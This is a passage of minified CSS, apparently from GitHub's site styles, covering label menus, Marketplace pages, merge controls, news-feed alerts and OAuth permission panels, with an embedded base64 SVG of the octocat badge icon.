[aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading 